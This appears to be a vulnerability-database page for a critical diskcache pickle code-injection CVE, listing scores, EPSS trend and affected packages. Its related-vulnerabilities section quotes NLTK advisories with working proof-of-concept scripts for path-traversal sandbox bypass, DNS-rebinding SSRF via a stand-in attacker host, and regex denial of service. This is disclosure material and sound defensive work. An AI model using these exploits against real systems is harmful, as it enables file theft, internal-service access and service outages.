CVE-2025-69872: diskcache Code Injection
CVSS: 9.8v3.1CriticalDeferred
AliasesGHSA-w8v5-vhqr-4h9vPYSEC-2026-2447UBUNTU-CVE-2025-69872DEBIAN-CVE-2025-69872CGA-2f7g-75fc-5mrwCGA-3v92-5jh8-m68pCGA-5hfx-hq96-73jfCGA-63xj-fhg9-qxq7CGA-6cgm-pxxw-93g5CGA-6mr9-qqfw-87ggCGA-7723-vwmf-7w5wCGA-8j4g-46jg-hgxjCGA-8vjp-gw9g-42pxCGA-93mq-h4q2-rg93CGA-99r7-hcc8-p8qxCGA-f555-qgp8-vcj9CGA-fwh4-75wq-2qvpCGA-gr7f-m8fm-4w67CGA-hwwj-h5w4-3hfpCGA-jc6j-jhqc-f7f4CGA-jpcc-4chr-qjmjCGA-m4qm-vrm4-7qq4CGA-mxvc-8cp6-ghc9CGA-qr69-pf6p-8g68CGA-r2xm-jxvf-g4gpCGA-rjpm-f4ch-wwc4CGA-v3m4-gj5m-39rrCGA-wmgq-wv2r-mcjvCGA-xfwj-jqmx-q9pmCGA-xmhc-9c22-5cc3CGA-xp7c-rcmm-9746CGA-xq9w-4gxx-4fg6CGA-xxwj-xf85-j84xCGA-r672-6xc4-97p3
Published 11-02-2026Last modified 15-07-2026
Vulnerability summary
CVE-2025-69872 is a critical (CVSS 9.8) Code Injection vulnerability in diskcache. EPSS estimates a 0.61% chance of exploitation in the next 30 days, higher than 48.1% of scored vulnerabilities.
CVSS score
9.8/10
010
Critical · v3.1 (CVE.org)EPSS score
0.61%
0%100%
Low · +0.08 pp in 30 daysKEVNot listedIn no KEV catalog
RansomwareNone recordedNo known use recorded
Public exploits0No public exploits recorded
Advisory lineage
Upstream 0 · Downstream 0 · Related 1Timeline
- 11-02-2026PublishedVulnerability first disclosed.
- 15-07-2026Last modifiedVulnerability information updated.
Description
DiskCache (python-diskcache) through 5.6.3 uses Python pickle for serialization by default. An attacker with write access to the cache directory can achieve arbitrary code execution when a victim application reads from the cache.
CVSS metrics
6 scores · 6 sources · 2 versionsHigh 7.0Preferred score · OSV · Pypi (Ecosystem advisory) · calculated from vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:PSourcesSingle source
Critical 9.8Preferred score · CVE.org (CNA)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HSources5 sources · 7.6–9.8
- OSV · UbuntuEcosystem advisory · calculated7.6HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:LDiffers
- OSV · DebianEcosystem advisory · calculated9.8CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- OSV · ChainguardEcosystem advisory · calculated9.8CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- NVDNIST9.8CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS trend
Probability
0.61%
Chance of exploitation in the next 30 days
Percentile
48%
Versus all other CVEs
30-day change
+0.08 pp
From 0.53% on 20-09-2026
- 20-09-2026 · 0.53%
- 21-09-2026 · 0.53%
- 22-09-2026 · 0.53%
- 23-09-2026 · 0.53%
- 24-09-2026 · 0.53%
- 25-09-2026 · 0.53%
- 26-09-2026 · 0.53%
- 27-09-2026 · 0.53%
- 28-09-2026 · 0.53%
- 29-09-2026 · 0.53%
- 30-09-2026 · 0.54%
- 01-10-2026 · 0.54%
- 02-10-2026 · 0.54%
- 03-10-2026 · 0.54%
- 04-10-2026 · 0.54%
- 05-10-2026 · 0.54%
- 06-10-2026 · 0.54%
- 07-10-2026 · 0.54%
- 08-10-2026 · 0.54%
- 09-10-2026 · 0.61%
- 10-10-2026 · 0.61%
- 11-10-2026 · 0.61%
- 12-10-2026 · 0.61%
- 13-10-2026 · 0.61%
- 14-10-2026 · 0.61%
- 15-10-2026 · 0.61%
- 16-10-2026 · 0.61%
- 17-10-2026 · 0.61%
- 18-10-2026 · 0.61%
- 19-10-2026 · 0.61%
- 20-10-2026 · 0.61%
20-09-202620-10-2026
EPSS score0.61%
Known exploited
Compare KEV catalogsNot in any of the 3 tracked catalogs.
Public exploits
0 foundNo public exploits indexed.
Weaknesses
CWE · root cause- CWE-94Improper Control of Generation of Code ('Code Injection')The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
- CWE-502Deserialization of Untrusted DataThe product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
Affected systems
Chainguard26 products
- kserve-huggingfaceserver-cuda-13.3All versions (No fix recorded)
- lmcache-cuda-12.8All versions (No fix recorded)
- nemo< 2.7.3-r0
- nemo-rl-cuda-13.0-sglangAll versions (No fix recorded)
- nemo-rl-cuda-13.0-vllmAll versions (No fix recorded)
- nemo-skillsAll versions (No fix recorded) | < 0.7.0_git20260911-r1
- py3.10-diskcacheAll versions (No fix recorded)
- py3.10-vllm-cuda-12.4All versions (No fix recorded)
- py3.10-vllm-cuda-12.9All versions (No fix recorded)
- py3.10-vllm-cuda-13.0All versions (No fix recorded)
- py3.11-diskcacheAll versions (No fix recorded)
- py3.11-text-generation-inferenceAll versions (No fix recorded)
- py3.12-diskcacheAll versions (No fix recorded)
- py3.12-vllm-cuda-12.4All versions (No fix recorded)
- py3.12-vllm-cuda-12.9All versions (No fix recorded)
- py3.12-vllm-cuda-13.0All versions (No fix recorded)
- py3.13-diskcacheAll versions (No fix recorded)
- py3.13-vllm-cuda-12.9All versions (No fix recorded)
- py3.13-vllm-cuda-13.0All versions (No fix recorded)
- text-generation-inferenceAll versions (No fix recorded)
- tritonserver-backend-vllm-cuda-12.9All versions (No fix recorded)
- tritonserver-backend-vllm-cuda-13.0< 25.11-r13
- vllm-cuda-13.2< 0.26.0-r0
- vllm-openai-cuda-12.9< 0.28.0-r0
- vllm-openai-cuda-12.9-nvidia-cusparseAll versions (No fix recorded)
- vllm-openai-cuda-13.0< 0.26.0-r0
Debian1 product
- diskcacheAll versions (No fix recorded)
PyPI1 product
- diskcache≤ 5.6.3
Ubuntu1 product
- diskcacheAll versions (No fix recorded)
4 vendors · 29 products
References
14 links- pypi.org/project/diskcachePACKAGE
Show all 14 references
Related vulnerabilities
CVE-2026-49265chainguardairflow-2+1030.38%OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. From 3.0.0 until 4.0.0, OAuthLib's PKCE checks in oauthlib/oauth2/rfc6749/grant_types/authorization_code.py compare attacker-supplied code_verifier values with stored challenges using ordinary string equality in code_challenge_method_plain and code_challenge_method_s256. Because the comparison can return after a length difference or the first mismatching character, repeated token endpoint measurements can reveal common-prefix timing information that could potentially allow recovery of the code_verifier, unauthorized access-token acquisition, and account takeover. Practical exploitation requires an intercepted, single-use authorization code and enough measurements to overcome real-world network noise; the local timing benchmark does not establish practical remote account takeover, so the weakness remains a defense-in-depth concern. This issue is fixed in version 4.0.0.CVE-2026-12074chainguardnemo+5Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
### Summary
`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
### Details
`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.
The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
- `doc()` — uses the index entry `filename` field
- the lexical-unit file loader — uses the `lexUnit` ID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
### PoC
```python
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
```
### Impact
- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.
- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.CVE-2026-12075chainguardnemo+3Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
### Summary
`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.
### Details
`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)
2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)
`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.
### PoC
```python
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer
warnings.filterwarnings("ignore")
import nltk
import nltk.pathsec as ps
ps.ENFORCE = True # the documented strict SSRF sandbox
ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SECRET)))
self.end_headers()
self.wfile.write(SECRET)
def log_message(self, *a):
pass
def start_internal_server():
srv = HTTPServer(("127.0.0.1", 0), _Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv.server_address[1] # ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)
def _rebinding_getaddrinfo(host, port, *args, **kwargs):
if host == ATTACKER_HOST:
n = _lookups[host]
_lookups[host] += 1
ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect)
p = port if isinstance(port, int) else 0
kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"
print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
return _real_getaddrinfo(host, port, *args, **kwargs)
def fetch(url):
with ps.urlopen(url, timeout=5) as r:
return r.read()
def main():
print("=" * 62)
print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")
print("=" * 62)
port = start_internal_server()
print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process
try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
print("[1] CONTROL: direct loopback URL (filter must block this)")
direct = f"http://127.0.0.1:{port}/"
try:
fetch(direct)
print(f" [?] unexpected: {direct} was NOT blocked\n")
control_ok = False
except PermissionError as e:
print(f" [OK] blocked -> PermissionError: {e}\n")
control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
evil = f"http://{ATTACKER_HOST}:{port}/"
print(f" fetching {evil}")
try:
body = fetch(evil)
leaked = SECRET in body
print(f" body returned to caller: {body!r}")
if leaked:
print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1")
print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print("\n [?] fetch succeeded but secret marker not present")
verdict = "INCONCLUSIVE"
except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
print(f"\n [SAFE] blocked -> PermissionError: {e}")
verdict = "NOT VULNERABLE"
finally:
socket.getaddrinfo = _real_getaddrinfo
print("\n" + "=" * 62)
print(f" Control (direct loopback blocked): {control_ok}")
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 62)
if __name__ == "__main__":
main()
```
### Impact
- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format="raw"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.CVE-2026-49264chainguardairflow-2+1040.31%OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. From 0.6.1 until 4.0.0, OAuthLib's RevocationEndpoint in oauthlib/oauth2/rfc6749/endpoints/revocation.py reflects an unvalidated callback request parameter into success and error response bodies when enable_jsonp=True. The callback can come from the query string or request body and is used without restricting it to a legal JavaScript function name. A browser application that loads the revocation response as trusted JSONP and permits attacker influence over callback can therefore execute attacker-controlled JavaScript in the including application's origin, with access to its DOM and script-accessible data. The feature is disabled by default, so only deployments that explicitly enable JSONP are affected. This issue is fixed in version 4.0.0.CVE-2026-12061chainguardnemo+5Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
### Summary
`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`.
### Details
The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.
### PoC
```
import multiprocessing as mp
import re
import time
# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
# A generous bound (real feature labels are short noun phrases) makes the
# run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)
TIMEOUT = 20.0 # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line
def _bad_line(n_words):
"""A long line of plain words with NO trailing bracketed annotation."""
return ("word " * n_words).rstrip()
def _worker(pattern_str, line, q):
pat = re.compile(pattern_str)
t0 = time.perf_counter()
pat.findall(line)
q.put(time.perf_counter() - t0)
def timed_findall(pattern, line, timeout=TIMEOUT):
"""Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
q = mp.Queue()
p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
p.start()
p.join(timeout)
if p.is_alive():
p.terminate()
p.join()
return None
return q.get() if not q.empty() else None
def bench(label, pattern):
print(f"\n[{label}] pattern: {pattern.pattern}")
print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}")
prev = None
for n in SIZES:
line = _bad_line(n)
t = timed_findall(pattern, line)
if t is None:
print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}")
prev = None
else:
ratio = f"{t/prev:.1f}x" if prev else "--"
print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}")
prev = t
def parity_check():
"""The bound must NOT change extraction on a realistic annotated line."""
real = (
"the picture quality[+2] and battery life[+1] are great but "
"the lens cap[-1] feels cheap and the menu system[-2] is slow"
)
a = FEATURES_VULN.findall(real)
b = FEATURES_FIXED.findall(real)
print("\n[parity] realistic annotated line — extraction must be identical")
print(f" vulnerable regex -> {a}")
print(f" bounded regex -> {b}")
print(f" identical: {a == b}")
return a == b
def main():
print("=" * 66)
print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
print("=" * 66)
print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")
bench("VULNERABLE reviews.py L70-71", FEATURES_VULN)
bench("BOUNDED fix #3583", FEATURES_FIXED)
same = parity_check()
print("\n" + "=" * 66)
print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS")
print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms")
print(f" Extraction parity on real annotations preserved: {same}")
print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
print("=" * 66)
if __name__ == "__main__":
main()
```
### Impact
Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.CVE-2026-12072chainguardnemo+5Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
### Summary
A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can
influence the `fileids` argument of its public read methods (`header`, `raw`,
`words`, `sents`, `tagged_words`) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the
strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant
deployments. `header()` returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
### Details
`SECURITY.md` promises that file access is "validated against allowed NLTK data
directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file
access … will raise `PermissionError`." That guarantee is enforced via
`FileSystemPathPointer.open()` / `CorpusReader.open()`, which call
`nltk.pathsec.validate_path(...)`.
`NKJPCorpusReader` never uses that protected path. In
`nltk/corpus/reader/nkjp.py`:
- `add_root()` builds the path by **plain string concatenation** with no
normalization or containment check:
```python
def add_root(self, fileid): # lines 96-102
if self.root in fileid:
return fileid # attacker-controlled value returned unchanged
return self.root + fileid # plain concat, '..' not stripped
```
- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin `open()`):
```python
class NKJPCorpus_Header_View(XMLCorpusView): # line 181
def __init__(self, filename, **kwargs):
XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
```
- The other modes reach the filesystem through `XML_Tool`, which uses a raw
`os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the
builtin `open()`:
```python
class XML_Tool: # line 243
def __init__(self, root, filename):
self.read_file = os.path.join(root, filename) # line 251
def build_preprocessed_file(self):
fr = open(self.read_file) # line 256 — pathsec never consulted
```
Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`
sentinel is never invoked, so `ENFORCE = True` does not block the access. For
comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)
rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`
before opening — `NKJPCorpusReader` simply does not go through it.
### PoC
Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.
```
pip install "nltk==3.9.4"
python3 poc.py
```
`poc.py`:
```python
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)
```
Output (unmodified):
```
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
```
With `ENFORCE = True`, NLTK opened a file outside the corpus root via the
builtin `open()` (no `PermissionError`, no warning) and returned its content.
### Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into `NKJPCorpusReader`'s
`fileids` (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the `ENFORCE=True` sandbox.
Honest scoping: `header()` discloses the content of out-of-root files named
`header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open
and read an arbitrary out-of-root file (proven by intercepting `open()`), but a
separate pre-existing bug in `XML_Tool` (writing `str` to a binary
`NamedTemporaryFile`) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
`xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,
`ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.